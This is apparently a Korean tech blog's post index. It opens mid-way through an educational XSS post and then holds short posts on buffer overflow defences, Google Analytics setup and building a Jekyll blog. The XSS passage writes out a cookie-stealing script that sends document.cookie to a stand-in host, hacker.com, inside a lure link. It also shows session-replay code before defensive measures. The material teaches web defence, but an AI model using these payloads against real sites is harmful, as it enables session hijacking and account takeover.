추가적인 공격 수행여기서 핵심은 요청할 때 마다 반사되어 브라우저에서 실행되는 것입니다.혹시나 저처럼 여기서 이해가 잘 되지 않았던 점이 있으시다면.. 해당 링크를 상대방이 실행되려면 해당 링크가 어딘가에는 저장되어야 되는 것이 아닌가?해당 링크가 실행되는 사이트는 해커의 것이 아닌데 마음대로 어떻게 되는것인가?조작된 URL을 이메일, SNS, 메신저와 같은 곳으로 피해자에게 보내는데, 이런식으로 보낼 수 있겠죠.[업데이트를 확인하세요! / 메세지를 확인하세요! / ...](https://thisSiteHasVulnerablity.com/event?q=&lt;script&gt;document.location='http://hacker.com/steal?cookie='+document.cookie&lt;/script&gt;\")https://thisSiteHasVulnerablity.com 해당 도메인이 XSS에 취약하다는 것을 해커가 이미 알고 있는 것입니다.해당 도메인에 로그인이 되어있던 상태라면 피해자의 로그인정보를 담고있는 쿠키의 정보가 해커에게 보내게 되는 것이죠.&lt;h1&gt;Event Page&lt;/h1&gt;&lt;p&gt;검색 결과: &lt;script&gt;document.location='http://hacker.com/steal?cookie='+document.cookie&lt;/script&gt;&lt;/p&gt;즉, 결과적으로 Javascript가 피해자의 브라우저에서 실행이 되는 것입니다. (Reflected) 해커는 탈취한 쿠키 값으로 피해자의 계정으로 로그인을 할 수 있게 됩니다.document.cookie = \"session=abcdefg12345\"; // 피해자의 세션 쿠키 설정window.location = \"https://thisSiteHasVulnerablity.com/dashboard\"; // 자동 로그인요즘은 session기반이 아닌 jwt token을 이용해 인증을 하기 때문에 만약 jwt token이 탈취되었다면 이런식으로 요청을 보낼 수 있겠죠GET /user/profile HTTP/1.1Host: victim.comAuthorization: Bearer ey...JWT token이 탈취되었을 때를 대비해 1. 짧은 만료 시간 설정 2. Refresh Token 전략, 3. jwt에 client의 ip or user-agent … jwt 토큰 유효성을 확인할 때 같이 체크 등의 방안이 있을 수 있겠습니다. 해당 부분은 어떤 서비스를 제공하느냐 등에 따라 다르겠네요.DOM-based XSS (DOM 기반 XSS)서버가 아닌 클라이언트 측에서 발생하는 XSS로, 웹페이지의 DOM조작을 통해 악성스크립트가 실행됩니다.서버를 거치지 않고 client-side에서 실행되는 XSS이어서 탐지가 어렵다는 특징이 있습니다.이 것도 조금 헷갈리는 게 있어서 정리해보자면,취약한 코드는 서버에서 이미 가지고 있는 코드입니다. 서버에서 -&gt; 클라이언트한테 주는 코드입니다. 하지만 해당 코드는 다시 서버에 오지 않고 HTML을 조작하는 코드입니다. 해커가 분석을 해보니 취약한 코드가 있는 것을 알아낸 것이죠. reflected처럼 조작된 URL을 피해자가 누르게끔 유도합니다.https://thisSiteHasVulnerablity.com/page.html?&lt;script&gt;alert('XSS')&lt;/script&gt;&lt;!DOCTYPE html&gt;&lt;html&gt;&lt;head&gt; &lt;title&gt;DOM-based XSS Example&lt;/title&gt;&lt;/head&gt;&lt;body&gt; &lt;script&gt; // 서버에서 클라이언트(브라우저)에게 제공하는 취약한 코드 document.write(\"&lt;h1&gt;\" + location.search.substring(1) + \"&lt;/h1&gt;\"); &lt;/script&gt;&lt;/body&gt;&lt;/html&gt;document.write()라는 취약한 코드가 담긴 html문서를 server에서 받았습니다. 해당 script는 client-side에서 실행되는 코드이지요. 해커가 준 URL을 눌렀으면 &lt;script&gt;alert('CSS')&lt;/script&gt;가 바로 실행되는 것입니다.그 외 취약한 함수로는 eval() 입력값을 코드로 실행 eval(userInput); innerHTML 입력값을 HTML로 삽입 element.innerHTML = userInput; outerHTML 요소자체를 변경 element.outerHTML = userInput; setAttribute() HTML속성 변경 element.setAttribute(‘onmouseover’, userInput) location.href 리디렉션 조작 가능 location.href = userInput location.search, location.hash URL 파라미터 읽기 document.write(location.search); window.open() 새 창을 열고 실행 가능 window.open(userInput); setTimeout(), setInterval() 문자열 실행 가능 setTimeout(userInput, 1000); XSS 대응방안 입력값 검증 (Input Validation) 사용자가 입력하는 데이터를 저장하기 전에 스크립트 코드를 차단합니다. &lt;script&gt;, onerror, onclick, javascript: 등 서버 측에서 정규식을 사용하여 위험한 코드를 제거합니다. (클라이언트 측에서 필터링은 신뢰하면 안됨) 허용된 HTML 태그만 남기도록 화이트리스트 방식을 적용합니다. 저장 시 필터링 (Storage Filtering) 저장 시 악성 코드가 포함되지 않도록 화이트리스트(허용된 문자만 저장)방식 적용 출력 시 이스케이프 처리 (Output Escaping) 데이터를 출력할 때 HTML에서 &lt;는 &amp;lt; &gt;는 &amp;gt;로 변환합니다. Javascript에서 innerHTML는 사용하지 않고, innerTEXTor textContent를 씁니다. CSP를 적용합니다. Content-Security-Policy script-src 'self'를 적용해 외부 스크립트 실행을 차단합니다. 보안 헤더를 적용합니다. HTTP-only &amp; Secure 쿠키를 설정해 쿠키 탈취를 방지합니다. Set-Cookie: 으로 쿠키 세팅 시, HttpOnly; Secure 옵션을 추가하여 Javascript에서 쿠키 접근을 차단하고 HTTPS에서만 쿠키를 전송하도록 합니다. WAF(Web Application Firewall) 사용 웹 방화벽으로 XSS 패턴을 탐지해 차단합니다. (SQL Injextion, XSS, CSRF 등 다양한 웹 공격을 탐지 가능) CSP, WAF ?CSP는 브라우저에서 악성 코드 실행을 방지Web Application Firewall은 서버 앞에서 악성 요청 필터링여기까지 XSS에 대해 알아보았습니다. 해당 개념을 들었던 것은 꽤나 예전입니다만 보안을 공부하면서 궁금한 점을 파고들어갔더니 잘 이해되었습니다! 특히 어떻게 혼자 실행이 된다는 거지? 싶었던 것들을 보며 코드를 작성할 때 주의해야겠다는 생각도 드는군요👩‍💻참고문헌 및 각주https://owasp.org/www-community/attacks/xss/" }, { "title": "Buffer overflow(Buffer overrun)와 대응방안", "url": "/posts/Buffer-overflow/", "categories": "Tech, Security", "tags": "buffer overflow, 버퍼오버플로우", "date": "2025-03-09 21:00:00 +0900", "snippet": " 버퍼오버플로우와 그 대응방안에 대해 알아봅시다.버퍼오버플로우란?일단 버퍼는 데이터를 한 곳에서 다른 한 곳으로 전송하는 동안 일시적으로 그 데이터를 보관하는 메모리의 영역입니다.해당 공간이 넘쳤다고(overflow) 생각하면 될 것 같. 컴퓨터 보안과 프로그래밍에서 프로세스가 버퍼에 데이터를 저장할 때 프로그래머가 지정한 곳을 넘어 인접 메모리까지...", "content": " 버퍼오버플로우와 그 대응방안에 대해 알아봅시다.버퍼오버플로우란?일단 버퍼는 데이터를 한 곳에서 다른 한 곳으로 전송하는 동안 일시적으로 그 데이터를 보관하는 메모리의 영역입니다.해당 공간이 넘쳤다고(overflow) 생각하면 될 것 같. 컴퓨터 보안과 프로그래밍에서 프로세스가 버퍼에 데이터를 저장할 때 프로그래머가 지정한 곳을 넘어 인접 메모리까지 덮어쓰게 되었을 때 버퍼오버플로우라고 한다.1대응방안 컴파일 타임에서의 대응방안과 런타임에서의 대응방안으로 나눌 수 있다.컴파일 타임에서의 대응방안C, C++ 같은 언어에서 특히 안전한 함수를 사용해야한다. strncat()2, strncpy(), fscanf(), snprintf(), vsnprintf() …경계값 및 파라미터를 체크한다.Stack GuardStack 영역의 보호를 위해 Return Address의 수정이 일어나는지 확인을 하기위해 변수와 Return Address사이에 canary라는 특별한 문자를 사용한다. 해당 문자를 확인할 수 없다면 Return Address가 수정되었을 가능성이 높아 프로그램의 실행을 막는다.Stack shieldReturn Address를 안전한 장소에 복사해 함수종료 시 현재 스택의 리턴 주소와 비교해 변조여부를 확인합니다.런타임에서의 대응방안스택과 힙을 실행 불능으로 설정한다.Address Space Layout Randomization 주소 공간 배치를 난수화한다. 실행 시 마다 메모리 주소를 변경시켜 특정 주소 호출을 방지한다.참고문헌 및 각주https://koreascience.kr/article/CFKO200634741480717.pdfhttps://security.stackexchange.com/questions/44131/stack-guard-vs-stack-shieldhttps://hackstoryadmin.tistory.com/entry/Linux-Memory-Protection-Stack-Canary https://ko.wikipedia.org/wiki/%EB%B2%84%ED%8D%BC_%EC%98%A4%EB%B2%84%ED%94%8C%EB%A1%9C#%EC%8A%A4%ED%83%9D_%EA%B8%B0%EB%B0%98_%EC%9D%B4%EC%9A%A9 &#8617;&#xfe0e; https://www.ibm.com/docs/ko/i/7.5?topic=functions-strncat-concatenate-strings &#8617;&#xfe0e; " }, { "title": "Google Analytics, 내 블로그에 적용해보기", "url": "/posts/Google-Analytics/", "categories": "Tech, Google", "tags": "구글, 애널리틱스, google, google analytics", "date": "2025-03-06 14:00:00 +0900", "snippet": " Google Analytics에 대해 알아본다. 설정을 진행해본다.구글 애널리틱스 Google Analyticshttps://developers.google.com/analytics?hl=ko간단하게 말하자면 웹사이트나 모바일 앱의 방문자 데이터를 수집하고 분석할 수 있는 도구입니다.Google Analytics 계정 생성 후 아래 스크린 샷을 따...", "content": " Google Analytics에 대해 알아본다. 설정을 진행해본다.구글 애널리틱스 Google Analyticshttps://developers.google.com/analytics?hl=ko간단하게 말하자면 웹사이트나 모바일 앱의 방문자 데이터를 수집하고 분석할 수 있는 도구입니다.Google Analytics 계정 생성 후 아래 스크린 샷을 따라 참고하되 자세한 체크박스는 개개인에 따라 다를 수 있습니다. 계정생성 속성생성 비즈니스설정 국가설정 플랫폼설정저는 웹 플랫폼을 눌렀습니다. 데이터 스트림 설정그러면 대쉬보드에 제가 추가한 my-app 이 추가됩니다.추가된 row를 선택하면 웹 스트림 세부정보가 나옵니다. 측정ID를 config.yml 의 해당하는 field에 넣어줍니다. (제가 쓰는 jekyll 블로그 테마의 config파일에서는 이미 있었네요~)이 후 push하면 Git action으로 page가 deploy 됩니다. 연필 버튼을 눌러 URL과 이름을 입력하고 스트림을 업데이트 해줍니다.그럼 방문자의 데이터가 수집됩니다.확인은 대쉬보드 - 실시간 개요 쪽으로 가보면 통계를 확인할 수 있습니다." }, { "title": "Hello, World!", "url": "/posts/Hello-World/", "categories": "Blog", "tags": "github.io, github pages, 블로그만들기", "date": "2025-03-06 00:00:00 +0900", "snippet": "github.io 나의 블로그 만들기마음에 드는 jekyll template 찾기 https://jekyllthemes.io/freeJekyll는 GitHub Pages를 기본적으로 지원하는 정적 사이트 생성기입니다. 자세한 사항은 -&gt;link마음에드는 template을 찾았으면 github로 가서 확인한다.제가 선택한 템플릿의 경우 start...", "content": "github.io 나의 블로그 만들기마음에 드는 jekyll template 찾기 https://jekyllthemes.io/freeJekyll는 GitHub Pages를 기본적으로 지원하는 정적 사이트 생성기입니다. 자세한 사항은 -&gt;link마음에드는 template을 찾았으면 github로 가서 확인한다.제가 선택한 템플릿의 경우 starter를 통해 지원해주고 있었다. link해당 포스팅에서 아주 친절히.. 다 알려주신데로 하면된다. 자세한 사항은 해당 포스팅을 참고한다는 가정하에 아래에 기재하겠습니다.for the detail… Windows를 사용 중인데, wsl이 개발 환경에 매우 유용하므로 cmd에서 wsl –install 을 통해 ubuntu를 설치 ubuntu계정에서 Docker Engine을 다운로드 https://docs.docker.com/engine/install/ubuntu/#install-using-the-repository VScode의 Extention에서 Dev Container를 설치한다. Dev Container를 통해 프로젝트를 열어줍니다. 완료 후 아래 커맨트 실행 $ bundle exec jekyll s local에서 실행되는 것이 확인되고, _config.yml에 본인이 필요한 설정들을 넣어주면 됩니다.주의사항블로그 포스팅 글 올리실 때 미래 시간이면 보이지 않습니다. (날짜를 착각하여 미래시간으로 해놓고 2시간 넘게 왜 안나오지 뻘짓해서…)" } ]
